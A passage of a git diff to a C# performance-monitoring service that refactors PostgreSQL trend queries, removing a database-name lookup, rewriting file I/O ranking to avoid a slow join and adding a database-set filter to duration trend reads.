+internal sealed record DeadlockVictimPlanRead(string? PlanXml, bool Ambiguous);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSystemHealthReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSystemHealthReader.cs
index cf47a60589..438e82cd08 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSystemHealthReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSystemHealthReader.cs
@@ -33,7 +33,7 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 /// means events that happened in the last 24 hours — the viewer's deliberate choice (the sibling Dashboard
 /// windows on collection_time). Bounds bind naive-UTC (Kind=Unspecified → the store's
 /// <c>timestamp without time zone</c> columns). Severe-error <c>database_id</c> is resolved to a name from
-/// the collected size-stats mapping (the viewer's <see cref="ResolveDatabaseName"/> derivation), since the
+/// the collected size-stats history (<see cref="DatabaseNameHistory"/>: the name the id carried at the error's time), since the
 /// DB-free shred left it null. Every SQL string is a public const so Darling.Tests can pin the dialect +
 /// columns without a live Postgres.
 /// </para>
@@ -62,22 +62,6 @@ AND   event_xml IS NOT NULL
         ORDER BY event_time DESC
         """;
 
-    /// <summary>
-    /// The server's latest database_id↔database_name mapping — the viewer's <c>DatabaseNameMapSql</c>.
-    /// <c>DISTINCT ON (database_id)</c> keeps the most-recently-collected name per id (handles a dropped-and-
-    /// recreated id). <c>database_size_stats</c> is the source because it is the only collected table carrying
-    /// BOTH database_id and database_name for every online DB. Feeds the Severe Errors DB resolution.
-    /// $1 server_id.
-    /// </summary>
-    public const string DatabaseNameMapSql = """
-        SELECT DISTINCT ON (database_id)
-            database_id,
-            database_name
-        FROM v_database_size_stats
-        WHERE server_id = $1
-        ORDER BY database_id, collection_time DESC
-        """;
-
     /// <summary>Reads the raw event_xml blobs for one XE event type over the window (newest first).</summary>
     public static async Task<List<string>> ReadEventXmlAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, string eventType, CancellationToken cancellationToken = default)
@@ -173,39 +157,4 @@ AND   event_xml IS NOT NULL
         var value = await command.ExecuteScalarAsync(cancellationToken);
         return value is DateTime stamp ? stamp : null;
     }
-
-    /// <summary>Loads the server's latest database_id → database_name map for Severe Errors DB resolution.</summary>
-    public static async Task<Dictionary<int, string>> GetDatabaseNameMapAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
-    {
-        var map = new Dictionary<int, string>();
-        await using var command = postgres.CreateCommand(DatabaseNameMapSql);
-        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
-        DarlingMcpReadParameters.AddInt(command, serverId);
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            if (reader.IsDBNull(0) || reader.IsDBNull(1))
-                continue;
-            map[reader.GetInt32(0)] = reader.GetString(1);
-        }
-
-        return map;
-    }
-
-    /// <summary>
-    /// Resolves a severe-error <c>database_id</c> to a display name using the collected mapping — the viewer's
-    /// <c>ResolveDatabaseName</c>. A null or 0 id means "no database context" (error_reported often carries
-    /// database_id 0; <c>DB_NAME(0)</c> is NULL server-side too) → empty. A real id absent from the map (a
-    /// database dropped before the latest size-stats snapshot, or one never captured) is surfaced as its raw
-    /// id rather than silently blanked.
-    /// </summary>
-    public static string ResolveDatabaseName(int? databaseId, IReadOnlyDictionary<int, string> databaseNameMap)
-    {
-        if (databaseId is not { } id || id == 0)
-            return string.Empty;
-        if (databaseNameMap.TryGetValue(id, out var name))
-            return name;
-        return $"database_id {id}";
-    }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs
index 7fce073b88..62ce784269 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs
@@ -389,7 +389,13 @@ private static string BuildPerfmonTrendSql()
     {
         var isArtifact = "COALESCE((" + WaitStatisticsArtifact.ArtifactPredicateSql(
             "cntr_type", "object_name", "prev_value", "cntr_value", "next_value") + "), false)";
-        var isWaitStatistics = WaitStatisticsArtifact.ObjectNameSuffixMatchSql("object_name");
+        /* #5562 L4b: the suffix test as LIKE, not right(object_name, 16) = '...'. On a compressed perfmon_stats chunk the right()
+           call is a plain Filter, so the first arm (which returns nothing for any counter outside the Wait Statistics object)
+           decompressed and materialized every row of the counter in the window and threw them all away: 12.5 s for 30 days of
+           Batch Requests/sec on a large store. LIKE runs inside the columnar scan's Vectorized Filter. Same rows: the suffix has no
+           wildcard character, and NULL still lands in the second arm only. The shared WaitStatisticsArtifact text (Lite and the
+           Viewer) is left as it is. */
+        var isWaitStatistics = $"object_name IS NOT NULL AND object_name LIKE '%{WaitStatisticsArtifact.ObjectNameSuffix}'";
         return $$"""
             SELECT
                 collection_time,
@@ -604,9 +610,11 @@ public static async Task<List<string>> GetDistinctPerfmonCountersAsync(
     /* ─────────────────────────── file I/O latency trend ─────────────────────────── */
 
     /// <summary>
-    /// The ranking both file I/O statements share, so the series the first one counts are exactly the series the
-    /// second one charts (#3897). A series is a (database, file type) pair — the per-database, data-versus-log
-    /// view the tool promises — or, when <c>$4</c> names a database, each of that database's files. Ranked by the
+    /// The ranking of the file I/O series (#3897): <see cref="FileIoSeriesSql"/> aggregates it here, and
+    /// <see cref="FileIoTrendSql"/> numbers the series with the same ordering as window sums (#5425), so the series
+    /// the first counts are exactly the series the second charts. A series is a (database, file type) pair — the per-database, data-versus-log
+    /// view the tool promises — or, when <c>$4</c> holds exactly one database, each of that database's files (#5244: two or
+    /// more databases keep the per-database grain, limited to the set). Ranked by the
     /// window's summed stall (read + write ms), because the read exists to find where storage is SLOW: ranking on
     /// operations, the viewer's order, put nine tempdb data files ahead of a user database whose writes averaged
     /// 190 ms on DARLING01's SQL2022. Operations break a stall tie, then the names, so the order is total.
@@ -616,14 +624,14 @@ public static async Task<List<string>> GetDistinctPerfmonCountersAsync(
     /// Pre-#3897 the read took the ten busiest FILES, projected only the database name, and so returned nine
     /// indistinguishable "tempdb" rows per collection; the grain is now named in every row.</para>
     ///
-    /// <para>$1 server_id, $2/$3 window (naive UTC), $4 the database to scope to (NULL = every database).</para>
+    /// <para>$1 server_id, $2/$3 window (naive UTC), $4 the chosen databases (#5244: one text[], NULL = every database).</para>
     /// </summary>
     private const string FileIoRankedCte = """
         ranked AS (
             SELECT
                 database_name,
                 file_type,
-                CASE WHEN $4::text IS NULL THEN NULL ELSE file_name END AS file_name,
+                CASE WHEN cardinality($4::text[]) = 1 THEN file_name END AS file_name,
                 COUNT(DISTINCT file_name) AS files,
                 CAST(SUM(delta_stall_read_ms + delta_stall_write_ms) AS bigint) AS stall_ms,
                 CAST(SUM(delta_reads + delta_writes) AS bigint) AS ops,
@@ -632,18 +640,18 @@ ORDER BY SUM(delta_stall_read_ms + delta_stall_write_ms) DESC,
                              SUM(delta_reads + delta_writes) DESC,
                              database_name,
                              file_type,
-                             CASE WHEN $4::text IS NULL THEN NULL ELSE file_name END
+                             CASE WHEN cardinality($4::text[]) = 1 THEN file_name END
                 ) AS series_rank
             FROM v_file_io_stats
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   ($4::text IS NULL OR database_name = $4)
+            AND   ($4::text[] IS NULL OR database_name = ANY($4))
             AND   (delta_reads > 0 OR delta_writes > 0)
             /* #3540: a restart row's delta is not knowable, and the trend below drops it — so it must not rank a
                series either, or a restart's garbage delta could chart a series ahead of the ones that worked. */
             AND   sample_interval_seconds IS DISTINCT FROM 0
-            GROUP BY database_name, file_type, CASE WHEN $4::text IS NULL THEN NULL ELSE file_name END
+            GROUP BY database_name, file_type, CASE WHEN cardinality($4::text[]) = 1 THEN file_name END
         )
         """;
 
@@ -651,7 +659,7 @@ AND   sample_interval_seconds IS DISTINCT FROM 0
     /// The first of get_file_io_trend's two reads (#3897): every series the window saw activity on, in rank
     /// order, with what it was ranked by. The tool reads its length before choosing a bucket width — five charted
     /// series and one "(other)" line need a coarser width than two series do — and its rows name what the
-    /// "(other)" line pools. $1 server_id, $2/$3 window (naive UTC), $4 database (NULL = all).
+    /// "(other)" line pools. $1 server_id, $2/$3 window (naive UTC), $4 the chosen databases (NULL = all).
     /// </summary>
     public const string FileIoSeriesSql = $"""
         WITH {FileIoRankedCte}
@@ -679,35 +687,84 @@ ORDER BY series_rank
     /// <para>Rows whose stored <c>sample_interval_seconds</c> is 0 — no delta knowable, a restart — are
     /// dropped, exactly as before (#3540); <c>IS DISTINCT FROM 0</c> keeps pre-V127 rows (NULL). Each point is
     /// stamped at its bucket's start, the first at the window's start (<c>GREATEST</c>), so no point claims time
-    /// the window did not ask for. $1 server_id, $2/$3 window (naive UTC), $4 database (NULL = all), $5 how many
+    /// the window did not ask for. $1 server_id, $2/$3 window (naive UTC), $4 the chosen databases (NULL = all), $5 how many
     /// ranked series keep their own line, $6 the bucket width in minutes.</para>
+    ///
+    /// <para><b>No join to the ranking (#5425).</b> This statement used to join every row to the
+    /// <see cref="FileIoRankedCte"/> CTE. On a store whose statistics describe other rows (one store holds many
+    /// servers; an autoanalyze that ran while the table held another server's data) the planner estimates one row
+    /// for the window, picks a nested loop, and re-runs the whole ranking once per file I/O row: 84.6 s over a
+    /// week of the 609-series census shape (265,524 rows), against 0.6 s for the ranking alone. The series totals
+    /// are now window sums over the one scan (<c>totalled</c>), and <c>ranked</c> numbers the series with the same
+    /// ORDER BY the series statement uses; there is no join left for a bad estimate to turn quadratic.</para>
     /// </summary>
     public const string FileIoTrendSql = $"""
-        WITH {FileIoRankedCte},
+        WITH base AS (
+            SELECT
+                collection_time,
+                database_name,
+                file_type,
+                CASE WHEN cardinality($4::text[]) = 1 THEN file_name END AS file_name,
+                delta_reads,
+                delta_writes,
+                delta_stall_read_ms,
+                delta_stall_write_ms,
+                (delta_reads > 0 OR delta_writes > 0) AS active
+            FROM v_file_io_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   ($4::text[] IS NULL OR database_name = ANY($4))
+            AND   sample_interval_seconds IS DISTINCT FROM 0
+        ),
+        totalled AS (
+            SELECT
+                base.*,
+                SUM(delta_stall_read_ms + delta_stall_write_ms) FILTER (WHERE active) OVER series AS stall_ms,
+                SUM(delta_reads + delta_writes) FILTER (WHERE active) OVER series AS ops,
+                COUNT(*) FILTER (WHERE active) OVER series AS active_rows
+            FROM base
+            WINDOW series AS (PARTITION BY database_name, file_type, file_name)
+        ),
+        ranked AS (
+            SELECT
+                collection_time,
+                database_name,
+                file_type,
+                file_name,
+                delta_reads,
+                delta_writes,
+                delta_stall_read_ms,
+                delta_stall_write_ms,
+                DENSE_RANK() OVER (
+                    ORDER BY stall_ms DESC,
+                             ops DESC,
+                             database_name,
+                             file_type,
+                             file_name
+                ) AS series_rank
+            FROM totalled
+            WHERE active_rows > 0
+        ),
         labelled AS (
             SELECT
-                f.collection_time,
-                CASE WHEN r.series_rank <= $5 THEN r.database_name ELSE '(other)' END AS database_name,
-                CASE WHEN r.series_rank <= $5 THEN r.file_type ELSE '(other)' END AS file_type,
+                collection_time,
+                CASE WHEN series_rank <= $5 THEN database_name ELSE '(other)' END AS database_name,
+                CASE WHEN series_rank <= $5 THEN file_type ELSE '(other)' END AS file_type,
                 CASE
-                    WHEN r.series_rank <= $5 THEN r.file_name
-                    WHEN $4::text IS NULL THEN NULL
-                    ELSE '(other)'
+                    WHEN series_rank <= $5 THEN file_name
+                    WHEN cardinality($4::text[]) = 1 THEN '(other)'
+                    ELSE NULL
                 END AS file_name,
-                f.delta_reads,
-                f.delta_writes,
-                f.delta_stall_read_ms,
-                f.delta_stall_write_ms
-            FROM v_file_io_stats AS f
-            JOIN ranked AS r
-              ON  r.database_name = f.database_name
-              AND r.file_type = f.file_type
-              AND (r.file_name IS NULL OR r.file_name = f.file_name)
-            WHERE f.server_id = $1
-            AND   f.collection_time >= $2
-            AND   f.collection_time <= $3
-            AND   ($4::text IS NULL OR f.database_name = $4)
-            AND   f.sample_interval_seconds IS DISTINCT FROM 0
+                delta_reads,
+                delta_writes,
+                delta_stall_read_ms,
+                delta_stall_write_ms
+            FROM ranked
+            /* The lookup this replaced matched on database_name = and file_type =, which a NULL never satisfies:
+               a row with no database or no file type ranked a series but charted nothing. */
+            WHERE database_name IS NOT NULL
+            AND   file_type IS NOT NULL
         ),
         per_collection AS (
             SELECT
@@ -742,14 +799,14 @@ FROM per_collection
 
     /// <summary>Runs <see cref="FileIoSeriesSql"/>: the window's active series, in rank order.</summary>
     public static async Task<List<FileIoSeries>> GetFileIoSeriesAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, string? databaseName,
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DatabaseFilter databases,
         CancellationToken cancellationToken = default)
     {
         var items = new List<FileIoSeries>();
         await using var command = postgres.CreateCommand(FileIoSeriesSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
-        DarlingMcpReadParameters.AddNullableText(command, databaseName);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -769,14 +826,14 @@ public static async Task<List<FileIoSeries>> GetFileIoSeriesAsync(
     /// <summary>Runs <see cref="FileIoTrendSql"/>: the top <paramref name="chartedSeries"/> series and the
     /// "(other)" fold, bucketed at <paramref name="bucketMinutes"/>.</summary>
     public static async Task<List<FileIoPoint>> GetFileIoTrendAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, string? databaseName,
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DatabaseFilter databases,
         int chartedSeries, int bucketMinutes, CancellationToken cancellationToken = default)
     {
         var items = new List<FileIoPoint>();
         await using var command = postgres.CreateCommand(FileIoTrendSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
-        DarlingMcpReadParameters.AddNullableText(command, databaseName);
+        command.Parameters.Add(databases.Parameter());
         DarlingMcpReadParameters.AddInt(command, chartedSeries);
         DarlingMcpReadParameters.AddInt(command, bucketMinutes);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
@@ -825,7 +882,7 @@ public static async Task<List<FileIoPoint>> GetFileIoTrendAsync(
     /// outside that lane's boundary, so between #3695 and this alias the tool's raw route and the viewer's chart
     /// disagreed about exactly one row class: a restart collection, which the LAG divided into a confident
     /// <c>0.00 ms/sec</c> while the viewer skipped it. The mechanism is documented once, on
-    /// <see cref="DurationTrendRouting.BuildRawTrendSql"/>; DarlingMcpTrendToolsTests pins the declaration
+    /// the per-collection CTE <see cref="DurationTrendRouting.BuildBucketedRawTrendSql"/> builds; DarlingMcpTrendToolsTests pins the declaration
     /// as an alias and the file as free of the retired LAG-only text, so there is one definition and nothing
     /// to drift. A static readonly rather than a const because the Storage side is a builder, as for the
     /// hourly twin below.</para>
@@ -845,9 +902,14 @@ public static async Task<List<FileIoPoint>> GetFileIoTrendAsync(
     /// reason. Since #3897 a collection like that is left out of its BUCKET's rates (numerator and denominator
     /// both), and a bucket holding nothing else is the unrated point. The hourly twin below has no such row: its
     /// denominator is the bucket width, known for every bucket.</para>
+    ///
+    /// <para><b>The database filter (#5244).</b> The text is the viewer's own (<c>DurationTrendRouting.BuildBucketedRawTrendSql(..., withDatabaseFilter: true)</c>). $4 is the guarded <c>text[]</c> and $5 the bucket width, the
+    /// other parameters as above. The tool reads this one with <see cref="DatabaseFilter.All"/> too, so the statement
+    /// never changes with the selection. The unfiltered constant that stood beside it ran nowhere and was removed
+    /// (#5244 review L1).</para>
     /// </summary>
-    public static readonly string QueryDurationTrendSql =
-        DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: false);
+    public static readonly string QueryDurationTrendFilteredSql =
+        DurationTrendRouting.BuildBucketedRawTrendSql("query_stats", withDatabaseFilter: true);
 
     /* ───────────── the tier ladder and the hourly-tier SQL: aliases of DurationTrendRouting (#3653) ─────────────
 
@@ -867,7 +929,7 @@ vocabulary they document (source / effective_start / window_truncated) is this r
        than const because the Storage side is a builder (one text with and one without the viewer's $4
        database filter), and a const cannot be initialized from a call; no consumer needed the const-ness
        (the tests read the values, and the reads pass them as command text). The two RAW-tier consts —
-       QueryDurationTrendSql above and ProcedureDurationTrendSql below — joined the block last, once #3695
+       QueryDurationTrendFilteredSql above and ProcedureDurationTrendFilteredSql below — joined the block last, once #3695
        had built the raw read in Storage and pinned the builder line-equal to the hand-kept procedure text:
        the query alias changed the tool's answer on one row class (see its remarks), the procedure alias
        changed nothing but where the text lives. */
@@ -881,7 +943,7 @@ changed nothing but where the text lives. */
     public const string HourlyBucketSecondsSql = DurationTrendRouting.HourlyBucketSecondsSql;
 
     /// <summary>
-    /// The hourly-tier twin of <see cref="QueryDurationTrendSql"/> (#3541 A2): the same two per-second rates,
+    /// The hourly-tier twin of <see cref="QueryDurationTrendFilteredSql"/> (#3541 A2): the same two per-second rates,
     /// read from the <c>query_stats_hourly</c> continuous aggregate for windows whose oldest point the raw
     /// tier no longer holds — <see cref="DurationTrendRouting.BuildBucketedHourlyTrendSql"/> over the legacy
     /// view, by alias (#3897), which at a 60-minute width is the viewer's hourly statement's figures hour for
@@ -897,13 +959,13 @@ changed nothing but where the text lives. */
         DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.QueryStatsHourlyView);
 
     /// <summary>
-    /// The hourly-tier twin of <see cref="ProcedureDurationTrendSql"/> (#3541 A2), over
+    /// The hourly-tier twin of <see cref="ProcedureDurationTrendFilteredSql"/> (#3541 A2), over
     /// <c>procedure_stats_hourly</c> — <see cref="DurationTrendRouting.BuildBucketedHourlyTrendSql"/>, by alias
     /// (#3897). Same shape and same bucket-width denominator as <see cref="QueryDurationTrendHourlySql"/>; see
     /// there. $1 server_id, $2/$3 window (naive UTC), $4 bucket width in minutes.
     /// </summary>
     public static readonly string ProcedureDurationTrendHourlySql =
-        DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView);
+        DurationTrendRouting.BuildBucketedHourlyTrendSql(TimescaleSupport.ProcedureStatsHourlyView, coverIdleHours: true);
 
     /// <summary>
     /// Which tier one unkeyed duration trend read serves from, and the evidence the choice rests on (#3541 A2)
@@ -1065,8 +1127,19 @@ window the tier above was decided over. */
     public static Task<DurationTrendResult> GetQueryDurationTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DurationTrendRoute route,
         int bucketMinutes, CancellationToken cancellationToken = default)
+        => GetQueryDurationTrendAsync(
+            postgres, serverId, startUtc, endUtc, route, bucketMinutes, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5244). The predicate is in the raw statement and in the hourly one,
+    /// so whichever tier the route picks reads only the chosen databases; <see cref="DatabaseFilter.All"/> binds SQL
+    /// NULL and reads every database, the answer the overload above has always given.
+    /// </summary>
+    public static Task<DurationTrendResult> GetQueryDurationTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DurationTrendRoute route,
+        int bucketMinutes, DatabaseFilter databases, CancellationToken cancellationToken = default)
         => ReadRoutedDurationTrendAsync(
-            QueryDurationTrendSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, cancellationToken);
+            QueryDurationTrendFilteredSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, databases, cancellationToken);
 
     /* --------------------- procedure + Query Store duration trends (#2484) --------------------- */
 
@@ -1086,13 +1159,18 @@ public static Task<DurationTrendResult> GetQueryDurationTrendAsync(
     /// its siblings' real interval and contributes 0 to the sums; MAX is 0 only when EVERY row was
     /// unknowable (a restart), and that 0 becomes NULL through <c>NULLIF</c> so the rates are NULL — an
     /// UNRATED point the reader keeps rather than rendering 0.00 ms/sec (#3541 A12; see
-    /// <see cref="QueryDurationTrendSql"/> for why the row stays). NULL (a pre-V128 collection) falls back to
+    /// <see cref="QueryDurationTrendFilteredSql"/> for why the row stays). NULL (a pre-V128 collection) falls back to
     /// the LAG this read always used, whose first row is likewise unrated, never a fabricated 0. No
     /// <c>ELSE 0</c>. This was the idiom the query-stats twin above caught up with in #3695 / #3653; the
     /// builder's remarks carry it once for both tables.</para>
+    ///
+    /// <para><b>The database filter (#5244).</b> The procedure-stats twin of <see cref="QueryDurationTrendFilteredSql"/>. $4 is the guarded <c>text[]</c> and $5 the bucket width, the
+    /// other parameters as above. The tool reads this one with <see cref="DatabaseFilter.All"/> too, so the statement
+    /// never changes with the selection. The unfiltered constant that stood beside it ran nowhere and was removed
+    /// (#5244 review L1).</para>
     /// </summary>
-    public static readonly string ProcedureDurationTrendSql =
-        DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: false);
+    public static readonly string ProcedureDurationTrendFilteredSql =
+        DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: true);
 
     /// <summary>
     /// The Query Store duration trend - the viewer's <c>QueryStoreDurationTrendSql</c>, verbatim apart from
@@ -1106,7 +1184,7 @@ public static Task<DurationTrendResult> GetQueryDurationTrendAsync(
     /// <c>interval_start_time_utc IS NULL</c>, so they partition the rows with no overlap and no gap.
     /// Rewriting either arm here would make the browser and the desktop viewer disagree about the same
     /// hour. The first placed interval in the window carries NULL rates, not 0 — see
-    /// <see cref="QueryDurationTrendSql"/> (#3541 A12); the rollup route's builder applies the same rule to
+    /// <see cref="QueryDurationTrendFilteredSql"/> (#3541 A12); the rollup route's builder applies the same rule to
     /// its first bucket. $1 server_id, $2/$3 window (naive UTC).</para>
     /// <para><b>The rate is over the interval's own length (#4765).</b> An interval that stored its end
     /// (<c>interval_end_time_utc</c>) is rated over end minus start, where it used to be rated over the seconds
@@ -1117,11 +1195,28 @@ public static Task<DurationTrendResult> GetQueryDurationTrendAsync(
     /// <para><b>#2736: this is now the FALLBACK, not the read.</b> The rank-over-raw below costs the whole
     /// slab regardless of the window, which exceeds the mcp role's statement_timeout on a large store —
     /// so on stores with a materialized <c>query_store_stats_corrected_hourly</c> the tool routes through
-    /// <see cref="QueryStoreDurationTrendRollupSql"/> and this shape runs only where it is affordable
+    /// <see cref="QueryStoreDurationTrendRollupFilteredSql"/> and this shape runs only where it is affordable
     /// (no rollup: plain PostgreSQL, or nothing materialized yet). Its ±slab stays untouched on purpose —
     /// see <see cref="QueryStoreTrendRouting"/>.</para>
+    ///
+    /// <para><b>The database filter (#5244).</b> On both arms $4 is the guarded <c>text[]</c>
+    /// (<see cref="DatabaseFilter.Parameter"/>), the same two predicate lines the viewer's twin carries. Both arms read
+    /// <c>query_store_stats</c>, which carries <c>database_name</c>, and the filter sits inside the dedup's WHERE so the
+    /// ranking sees only the chosen databases' rows. The tool reads this one with <see cref="DatabaseFilter.All"/> too;
+    /// the unfiltered constant that stood beside it ran nowhere and was removed (#5244 review L1).</para>
     /// </summary>
-    public const string QueryStoreDurationTrendSql = """
+    public static readonly string QueryStoreDurationTrendFilteredSql = BuildQueryStoreDurationTrendSql(withDatabaseFilter: true);
+
+    private static string BuildQueryStoreDurationTrendSql(bool withDatabaseFilter)
+    {
+        var armOneFilter = withDatabaseFilter
+            ? "\n                AND   ($4::text[] IS NULL OR database_name = ANY($4))"
+            : "";
+        var armTwoFilter = withDatabaseFilter
+            ? "\n            AND   ($4::text[] IS NULL OR database_name = ANY($4))"
+            : "";
+
+        return $"""
         WITH placed AS
         (
             /* Arm 1 (#1841 tier 2) - rows carrying the interval identity. Dedup to the interval's FINAL
@@ -1154,7 +1249,7 @@ the range's final interval because its closing fetch had not happened yet. */
                 /* Chunk-exclusion bounds only. */
                 AND   collection_time >= $2 - interval '1 day'
                 AND   collection_time <= $3 + interval '30 days'
-                AND   interval_start_time_utc IS NOT NULL
+                AND   interval_start_time_utc IS NOT NULL{armOneFilter}
             ) AS identified
             WHERE rn = 1
 
@@ -1173,7 +1268,7 @@ FROM query_store_stats
             WHERE server_id = $1
             AND   collection_time >= $2
             AND   collection_time <= $3
-            AND   interval_start_time_utc IS NULL
+            AND   interval_start_time_utc IS NULL{armTwoFilter}
         ),
         raw AS
         (
@@ -1199,27 +1294,37 @@ GROUP BY point_time
         FROM raw
         ORDER BY point_time
         """;
+    }
 
     /// <summary>
     /// The rollup-routed Query Store duration trend (#2736): the materialized window portion served from
     /// <c>query_store_stats_corrected_hourly</c> as a rollup scan, the unmaterialized tail from the raw arms
     /// with tail-tight bounds instead of the fixed ±slab. Built by
     /// <see cref="QueryStoreTrendRouting.BuildRollupTrendSql"/> — the SAME builder the viewer's twin uses,
-    /// so the two apps cannot drift about the same hour; this copy just omits the viewer's $5 database
+    /// so the two apps cannot drift about the same hour; this is the text WITH the viewer's $5 database
     /// filter. Chosen only when <see cref="QueryStoreTrendRouting.ResolveAsync"/> proved the rollup present
-    /// and materialized; otherwise <see cref="QueryStoreDurationTrendSql"/> runs unchanged.
-    /// $1 server_id, $2/$3 window, $4 the raw boundary (all naive UTC).
+    /// and materialized; otherwise <see cref="QueryStoreDurationTrendFilteredSql"/> runs unchanged.
+    /// $1 server_id, $2/$3 window, $4 the raw boundary (all naive UTC), $5 (#5244) the guarded <c>text[]</c> after the
+    /// raw boundary, on the rollup arm and both raw arms (the builder's own text). The unfiltered constant that stood
+    /// beside this one ran nowhere and was removed (#5244 review L1).
     /// </summary>
-    public static readonly string QueryStoreDurationTrendRollupSql =
-        QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: false);
+    public static readonly string QueryStoreDurationTrendRollupFilteredSql =
+        QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: true);
 
     /// <summary>Runs the procedure-stats duration trend down <paramref name="route"/> (#3541 A2) — the
     /// procedure twin of <see cref="GetQueryDurationTrendAsync"/>.</summary>
     public static Task<DurationTrendResult> GetProcedureDurationTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DurationTrendRoute route,
         int bucketMinutes, CancellationToken cancellationToken = default)
+        => GetProcedureDurationTrendAsync(
+            postgres, serverId, startUtc, endUtc, route, bucketMinutes, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>The procedure-stats twin of the database-set overload of <see cref="GetQueryDurationTrendAsync(NpgsqlDataSource, int, DateTime, DateTime, DurationTrendRoute, int, DatabaseFilter, CancellationToken)"/> (#5244).</summary>
+    public static Task<DurationTrendResult> GetProcedureDurationTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, DurationTrendRoute route,
+        int bucketMinutes, DatabaseFilter databases, CancellationToken cancellationToken = default)
         => ReadRoutedDurationTrendAsync(
-            ProcedureDurationTrendSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, cancellationToken);
+            ProcedureDurationTrendFilteredSql, postgres, serverId, startUtc, endUtc, route, bucketMinutes, databases, cancellationToken);
 
     /// <summary>
     /// The shared body of the two routed reads: pick the tier's SQL, read the three-column point shape, and
@@ -1228,7 +1333,7 @@ public static Task<DurationTrendResult> GetProcedureDurationTrendAsync(
     /// </summary>
     private static async Task<DurationTrendResult> ReadRoutedDurationTrendAsync(
         string rawSql, NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
-        DurationTrendRoute route, int bucketMinutes, CancellationToken cancellationToken)
+        DurationTrendRoute route, int bucketMinutes, DatabaseFilter databases, CancellationToken cancellationToken)
     {
         ArgumentNullException.ThrowIfNull(route);
 
@@ -1244,9 +1349,14 @@ still runs.
         await using var command = postgres.CreateCommand(
             route.Tier == RetentionTier.Raw
                 ? rawSql
-                : DurationTrendRouting.BuildBucketedHourlyTrendSql(route.HourlyFromClauseOrDefault));
+                : DurationTrendRouting.BuildBucketedHourlyTrendSql(
+                    route.HourlyFromClauseOrDefault, withDatabaseFilter: true,
+                    /* #5449: the procedure rollups hold no row for an hour in which no procedure worked. */
+                    coverIdleHours: route.RawTable == "procedure_stats"));
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
+        /* #5244: $4 the database set (SQL NULL for every database), then $5 the bucket width, on both tiers. */
+        command.Parameters.Add(databases.Parameter());
         DarlingMcpReadParameters.AddInt(command, bucketMinutes);
         var points = await ReadBucketedDurationPointsAsync(command, cancellationToken);
 
@@ -1286,7 +1396,7 @@ private static async Task<List<QueryDurationTrendPoint>> ReadBucketedDurationPoi
     }
 
     /// <summary>
-    /// Runs <see cref="QueryStoreDurationTrendSql"/> — the raw-only route, kept for callers that have not
+    /// Runs <see cref="QueryStoreDurationTrendFilteredSql"/> — the raw-only route, kept for callers that have not
     /// resolved a route (and for stores without the corrected rollup, where it IS the route).
     /// </summary>
     public static Task<List<QueryDurationTrendPoint>> GetQueryStoreDurationTrendAsync(
@@ -1300,39 +1410,45 @@ public static Task<List<QueryDurationTrendPoint>> GetQueryStoreDurationTrendAsyn
     /// otherwise. Callers resolve the route with <see cref="QueryStoreTrendRouting.ResolveAsync"/> so they
     /// can also disclose the routing in their payload.
     /// </summary>
-    public static async Task<List<QueryDurationTrendPoint>> GetQueryStoreDurationTrendAsync(
+    public static Task<List<QueryDurationTrendPoint>> GetQueryStoreDurationTrendAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
